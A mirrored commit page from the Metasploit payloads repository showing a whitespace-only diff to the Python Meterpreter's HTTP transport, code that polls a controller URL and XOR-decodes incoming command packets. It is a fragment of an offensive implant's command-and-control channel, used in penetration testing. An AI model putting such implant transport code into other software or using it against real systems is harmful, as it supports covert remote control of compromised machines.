mirror of
https://github.com/rapid7/metasploit-payloads
synced 2024-12-08 23:33:07 +01:00
Land #266, use consistent whitespace for indentation
This commit is contained in:
commit
c437e0f75d
@ -642,21 +642,21 @@ class HttpTransport(Transport):
|
||||
packet = None
|
||||
xor_key = None
|
||||
request = urllib.Request(self.url, None, self._http_request_headers)
|
||||
try:
|
||||
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
||||
packet = url_h.read()
|
||||
for _ in range(1):
|
||||
if packet == '':
|
||||
break
|
||||
if len(packet) < PACKET_HEADER_SIZE:
|
||||
packet = None # looks corrupt
|
||||
break
|
||||
xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
|
||||
header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
|
||||
pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0] - 8
|
||||
if len(packet) != (pkt_length + PACKET_HEADER_SIZE):
|
||||
packet = None # looks corrupt
|
||||
except:
|
||||
try:
|
||||
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
|
||||
packet = url_h.read()
|
||||
for _ in range(1):
|
||||
if packet == '':
|
||||
break
|
||||
if len(packet) < PACKET_HEADER_SIZE:
|
||||
packet = None # looks corrupt
|
||||
break
|
||||
xor_key = struct.unpack('BBBB', packet[:PACKET_XOR_KEY_SIZE])
|
||||
header = xor_bytes(xor_key, packet[:PACKET_HEADER_SIZE])
|
||||
pkt_length = struct.unpack('>I', header[PACKET_LENGTH_OFF:PACKET_LENGTH_OFF+PACKET_LENGTH_SIZE])[0] - 8
|
||||
if len(packet) != (pkt_length + PACKET_HEADER_SIZE):
|
||||
packet = None # looks corrupt
|
||||
except:
|
||||
debug_traceback('Failure to receive packet from ' + self.url)
|
||||
|
||||
if not packet:
|
||||
|
Loading…
Reference in New Issue
Block a user